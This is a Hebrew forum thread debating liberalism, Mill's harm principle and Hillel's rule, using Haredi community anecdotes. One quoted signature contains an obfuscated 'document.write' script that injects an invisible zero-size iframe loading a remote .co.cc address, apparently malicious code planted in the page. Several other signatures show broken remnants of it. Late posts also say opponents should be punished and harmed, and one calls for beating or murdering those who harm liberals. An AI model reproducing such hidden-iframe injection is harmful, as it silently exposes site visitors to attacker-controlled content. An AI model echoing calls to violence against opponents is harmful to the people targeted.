|
|
| נשלח ב-31/12/2017 09:44 |
 |
| |
| מיימוני כתב: |  |
מה הם הגבולות של התחשבות שהליברליזם תובע או מתיר. ולפי איזו עמדה ליברלית, שהרי יש ניסוחים שונים של ליברליזם.
האם ליברליזם כלשהו יכול לספק תשובות חד משמעיות למצבים מאתגרים?
|
|
מאד פשוט:
" דעלך סני לחברך לא תעביד זו היא כל התורה כולה "
|
|
|
|
| נשלח ב-31/12/2017 15:28 |
|
| |
מימוני שלום. תראה, הריאקציונרים, הכוחות החשוכים , הקנאים והאלימים, הם חושבים במונחים של כוח. מי שולט על הרחוב, מי שולט על הבית, מי שולט? מי יכול להכריח את מי. הליברליזם הוא לא עוד כנופיה כוחנית. זה לא מי יותר חזק , הנצרות או האיסלם, או הרפורמים, או חסידי גור. השאלה מוטעית. הליברליזם לא נכנע ולא אמור להכנע לחוקי הריאקציה. אני לא מייצג את הליברליזם, אבל אני יכול להציג שני עקרונות שהם מייצגים תפיסה ליברלית קלאסית. א. הליברליזם דואג לחירות הפרט. ב. חירות הפרט תלויה במניעת כוח מהקבוצה. זאת אומרת אנחנו צריכים לאפשר לפרט לנהוג כרצונו אנחנו צריכים למנוע מהקבוצה מלהפעיל כוח על הפרט. עכשיו, לעצם השאלה. אנחנו נחלק את המרחב באופן קטגורי לשני חלקים. א. שטח פרטי שהפרט מנהל כרצונו. ב. מרחב ציבורי שבו כל פרט יכול להתנהל באופן חופשי. זאת אומרת ישנו שטח פרטי, בית ,חנות, עסק שהוא מנוהל על ידי הפרטים שהוא רכושם. מרחב ציבורי, הוא אזור בו הפרטים נעים ומתנהגים תוך שמירה על זכויות הפרט שלהם, כולל חופש לבוש, באופן שלא יפגע. זהו. נשלח מהאנדרואיד שלי
|
|
|
|
| נשלח ב-31/12/2017 15:34 |
|
| |
שלישישי
תודה.
כפי שהוסיף שם בעל המאמר, יש גם פירושים. ואכן זו הבעיה. הכלל לפעמים יפה אבל קשה ליישמו.
הבה נבדוק כיצד הכלל שלך עונה על השאלה שלי.
האם הכלל הזה הוא ליברלי? כלומר מכיר בכך שזכותו של כל אדם לעשות לפי רוחו כל עוד אין הוא פוגע בזולת?
האם יש חפיפה בין היישום של שני הכללים, של הלל ושל מיל?
הבה ננסה לחשוב על כמה מקרים.
א. ראובן רוצה להידחף בתור ולעלות ראשון לאוטובוס. אבל הוא לא היה רוצה שיעשו זאת לחוק כללי (אא"כ הוא בריון גדול וחושב שהוא תמיד ינצח...). הוא לא היה רוצה שיעשו לו כך. לפי הלל אם כן עליו להימנע מדחיפות בתור.
לפי מיל, הוא פוגע בזולתו.
ב. ראובן רוצה לנסוע לים בשבת.
לפי מיל, הוא לא פוגע באף אחד ולכן אין למנוע ממנו.
לפי הלל, אני משער שראובן בוחר בחירה רעה עבורו, אבל אין לנו מקום להתערב. ואולי כן? אולי לפי הלל האדם בתוך תוכו רוצה שימנעו אותו מעבירה?
ג. ראובן רוצה שנשים, בלבוש מכוסה לגמרי בלבד, ילכו במדרכה אחת מבין שתים ברחוב שלו בשכונה שלו.
לפי מיל, הוא מגביל את התנועה של נשים ברחוב ולכן הוא פוגע בזולת. יותר מכך, המשאלה שלו היא שלילית בתוכנה, לא מה הוא רוצה לעשות אלא איך למנוע מאחרים לעשות מה שהם רוצים.
השאלה היא אם הנשים הלא מכוסות לגמרי רוצות ללכת במדרכה של הגברים, האם הן פוגעות באחרים? ראובן יכול להציע לבדוק אותו ואת חבריו לדעה במכונת אמת ולגלות שהם באמת נפגעים עמוקות מכך שיש נשים לידם באותה מדרכה, או אפילו שהם סובלים מהמחשבה שמא פתאום תצוץ אשה במדרכה לידם.
דומה שגם העקרון של מיל, שצריך לא לפגוע בזולת, אינו מדבר על תחושות הלב ובוודאי לא על תחושת לב של פגיעה או פחד שנגרמת שלא ברצונו ובמודעותו של האחר. בשפה יותר ברורה, אם האשה הולכת ברחוב ואין דעתה לפגוע באחרים, אין זה באחריותה אם מישהו חש עלבון, פחד, צער ועוד בשל נוכחותה או לבושה.
לפי הלל, האם ראובן והנשים היו רוצות שיעשו להם מה שהם עושים לאחרים? האם האשה היתה רוצה שנשים יתלבשו כרצונן וילכו היכן שהן רוצות ברשות הרבים בשכונה שלה? האם ראובן היה רוצה שיגבילו את תנועתו במקומות ציבוריים אחרים?
דומה שאחת הנקודות שיש לשים אליהן לב זה שאפשר לפרש את הלל בשתי צורות. ראשית לשאול מה ראובן חושב למעשה בשאלות כאלו. ראובן וכל בני חוגו. יתכן שתשובתם תהיה: אדרבה, שלא יניחו לנו להגיע בלבוש חרדי לשאר מקומות אבל שלא יבואו לאזורנו בלבוש לא חרדי.
שנית אפשר לומר מה ראובן אמור היה לחשוב, כי אם הוא מציע את העסקה הזו: אני כחרדי לא אופיע ברחובכם, אתם בלבוש חילוני לא תופיעו ברחובי, זו עסקה רעה והוא שוגה בהצעתה. אמנם לפי פשט דברי הלל, ראובן לכאורה מוצדק בטענתו לפי הקריטריון הזה בלבד.
אני עדיין ממשיך לחשוב על הרעיון שלך, הלל מול מיל, האם הלל ליברלי? האם עמדתו מובילה לליברליזם?
האם הלל היה מסכים לליברליזם של מיל לו היה מעלה אותו בדעתו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-31/12/2017 15:56 |
|
| |
ובכלל, עד כמה צריך להיזהר לא לפגוע בתחושות של הזולת?
הנה דוגמא מסיפורי הרב שטיינמן שמסופרת כעת אודותיו.
מעשה בבת סמינר שהתארסה וגם זכתה שרכשו (או עמדו לרכוש) עבור הזוג הצעיר דירה במקום טוב בבני ברק. והנה מתברר שיש בת אחת או שתים מבוגרות שטרם התחתנו והתארסו והן גרות ממש באותו בנין.
והבת מביאה שאלה לרב שטיינמן: איך היא תעבור לגור בדירה כאשר השכנה (או השכנות) תראינה אותה? איך תוכל לשאת את המחשבה שהן כואבות עקב זה שלא זכו להקים בית והיא כבר כאן, מאורסת ואחר כך נשואה ועם דירה משלה?
זו השאלה, ומה יגידו עליה הלל וג'ון סטיוארט מיל?
(הרב שטיינמן עקף את הבעיה על ידי שהציע להשכיר את הדירה עד שהזוג יתחתן ובינתים בירך שהרווקות יתחתנו...).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-1/1/2018 10:40 |
|
| |
הרב מימוני
תודה על הסיפור היפה והתובנה המלווה. זה הזכיר לי את פר' ויצא. הסיפור עם יעקב אבינו.
יעקב מציע ללבן אעבדך שבע שנים ברחל בתך הקטנה. למה הוא לא בקש להתחתן מיד ולאחר מכן לעבוד? (כפי שעשה פעם השניה). הרי הוא היה בערך בן 80 לא בחור צעיר?
הוא ידע שלרחל יש אחות בכירה לא נשואה. הוא לא רצה לפגוע בה. וסבר כי תוך 7 שנים היא כבר תנשא לאחר.
|
|
|
|
| נשלח ב-3/1/2018 09:43 |
|
| |
| מיימוני כתב: | |
האם הלל ליברלי? האם עמדתו מובילה לליברליזם?
|
|
כן, הלל ליברלי. יותר מזה, מי שהולך על פי הכלל שלו הרי הוא מקיים את התורה כולה !.
|
|
|
|
|
| נשלח ב-3/1/2018 11:18 |
|
| |
| מיימוני כתב: | | ובכלל, עד כמה צריך להיזהר לא לפגוע בתחושות של הזולת?
הנה דוגמא מסיפורי הרב שטיינמן שמסופרת כעת אודותיו.
מעשה בבת סמינר שהתארסה וגם זכתה שרכשו (או עמדו לרכוש) עבור הזוג הצעיר דירה במקום טוב בבני ברק. והנה מתברר שיש בת אחת או שתים מבוגרות שטרם התחתנו והתארסו והן גרות ממש באותו בנין.
והבת מביאה שאלה לרב שטיינמן: איך היא תעבור לגור בדירה כאשר השכנה (או השכנות) תראינה אותה? איך תוכל לשאת את המחשבה שהן כואבות עקב זה שלא זכו להקים בית והיא כבר כאן, מאורסת ואחר כך נשואה ועם דירה משלה?
זו השאלה, ומה יגידו עליה הלל וג'ון סטיוארט מיל?
(הרב שטיינמן עקף את הבעיה על ידי שהציע להשכיר את הדירה עד שהזוג יתחתן ובינתים בירך שהרווקות יתחתנו...).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
בחברה חולה כמו החברה החרדית אנשים לא מפרגנים בלב שלם למי ששפר מזלם.
אותה כלה חוששת שהבחורות בבנין יעשו לה עין הרע כי היא התארסה והן לא מפרגנות.
והרב שטיינמן מה עושה? מברך את הבחורות.
פיתרון נפלא. למי שמאמין שהגשם יורד בגלל תפילה.
.
|
|
|
|
| נשלח ב-3/1/2018 12:02 |
|
| |
העובדה שהגשם החל לאחר התפילה ההמונית. ולו רק בגלל זה שכל עם ישראל כולל הרב שטרנבןך הקנאי גיל אבפתיות וקשר למה שקורה בארצנו.
|
|
|
|
| נשלח ב-3/1/2018 15:33 |
|
| |
יש בעייה מובנית בליברליזם היום: הוא מעמיד פני סובלני והגון, אבל אינו מוכן להכיר בדת כקטגוריה בפני עצמה.
הליברליזם מכיר רק בשני דברים: יש צרכים, ויש דעות.
אפשר לדרוש מאדם שלא לחייב אחרים לעשות כדעותיו, אבל אי אפשר לדרוש מאדם אלרגי לחתולים לדוגמא שלא יסבול מחתולים. במקרה כזה מכירים בזכותו לדרוש מאחרים לסלק חתולים מסביבתו עד לגבול מסויים, ובהחלט יש דיונים מה היא זכותו.
הליברלים מכירים בדת רק בתור דעה, ולכן הדתיים תמיד יוצאים בני אדם רעים, כי הליברלים לא מוכנים להכיר שיש לדתיים צרכים שאינם יכולים להתפשר עליהם. צריך לדון עליה בתור קטגוריה בפני עצמה.
כמובן שלא נסבול מוסלמי שאומר שהוא אנוס מחמת דתו להרוג כל מי שאינו מוסלמי, אבל הליברלים גם לא מוכנים להכיר בזה שיש בני אדם כאלה וצריך למצוא להם קטגוריה חדשה. אני לא מאמין בדת שלך ובתור לא מאמין לא אתן לך להרוג אחרים.
בקיצור: הליברלים דורשים מכולם להכיר בזכותו של אדם להגדיר עצמו כבעל נטיות שונות ומשונות וזו האמת שלו, אבל אינם מוכנים להכיר בזה שיש בני אדם מאמינים שאינם יכולים להתפשר על דתם ולדת יש דרישות מהאדם גם בנוגע לאחרים (כמו לליברליזם).
|
|
|
|
| נשלח ב-3/1/2018 19:42 |
|
| |
| ת_ח_ז_ל כתב: | |
יש בעייה מובנית בליברליזם היום: הוא מעמיד פני סובלני והגון, אבל אינו מוכן להכיר בדת כקטגוריה בפני עצמה.
הליברליזם מכיר רק בשני דברים: יש צרכים, ויש דעות. |
|
הדת היא דעה. מי שטוען אחרת , עושה זאת כדי לפגוע באחרים. על כך צריך להעניש אותו ולפגוע בו. נשלח מהאנדרואיד שלי
|
|
|
|
| נשלח ב-4/1/2018 09:42 |
|
| |
| קירטון כתב: | |
הדת היא דעה.
מי שטוען אחרת , עושה זאת כדי לפגוע באחרים.
על כך צריך להעניש אותו ולפגוע בו.
|
|
הליברליות היא דעה.
מי שטוען אחרת , עושה זאת כדי לפגוע באחרים.
על כך צריך להעניש אותו ולפגוע בו.
פתרון הבעיה של ליברליות מול דת:
"הֲלֹא כָל הָאָרֶץ לְפָנֶיךָ הִפָּרֶד נָא מֵעָלָי אִם הַשְּׂמֹאל וְאֵימִנָה
וְאִם הַיָּמִין וְאַשְׂמְאִילָה."
|
|
|
|
| נשלח ב-4/1/2018 10:21 |
|
| |
מי שפוגע בליברלים צריך להעניש לפגוע להעליב להכות ולפעיתים גם
לרצוח.
|
|
|
|
| נשלח ב-4/1/2018 21:26 |
|
| |
בוודאי שהליברליזם הוא דעה. הוא מערכת של רעיונות שיש לה כל מיני יתרונות ושימושים. בין היתר היא מאפשרת לחברה רב תרבותית להתקיים. יש מדינות שזה אולי לא כל כך נחוץ . הליברליזם ודאי נחוץ שם, כי יש לו גם יתרונות אחרים. אבל חברה רב תרבותית, אולי לא. יש מדינות של עם אחד ודת אחת. אם לא תהיה שם רב תרבותיות, לא סוף העולם. אבל בישראל? חוץ מזה, בואו נעשה תרגיל מחשבתי. איך היו מרגישים היהודים בקהילות הגדולות בעולם, אילו לא היה אצלם ליברליזם? באנגליה, בצרפת, בבלגיה, בקנדה? איך הם היו מרגישים תחת שלטון ריאקציונרי? ממש היה להם נחמד, נכון? כמו שנחמד להם באיראן. נשלח מהאנדרואיד שלי
|
|
|
|
| נשלח ב-7/1/2018 10:00 |
|
| |
| קירטון כתב: | |
1. אבל בישראל?
2. חוץ מזה, בואו נעשה תרגיל מחשבתי.
איך היו מרגישים היהודים בקהילות הגדולות בעולם, אילו לא היה אצלם ליברליזם?
באנגליה, בצרפת, בבלגיה, בקנדה?
איך הם היו מרגישים תחת שלטון ריאקציונרי?
ממש היה להם נחמד, נכון?
כמו שנחמד להם באיראן.
|
|
1. מה הבעיה בישראל?.
2. במדינות הנ"ל שורפים לפעמים בתי-כנסת.
3. תגדיר ליברליזים.
|
|
|
|
| נשלח ב-7/1/2018 15:00 |
|
| |
לשאלתך איך מרגישים במדינות הליברליות באירופה לא כמו בימי הביניים או בזמן האנטישמים:
בהולנד יש חוק שעושה בעיות לשחיטה הכשרה
גם בבלגיה יש חוק אבל למזלם הוא אינו כולל את בריסל ובית המטבחיים נמצא שם.
בשוייץ בכלל אסור לשחוט כבר מאה שנה.
בברלין בית משפט ליברלי אסר על ברית מילה לפני כמה שנים.
|
|
|
|
|
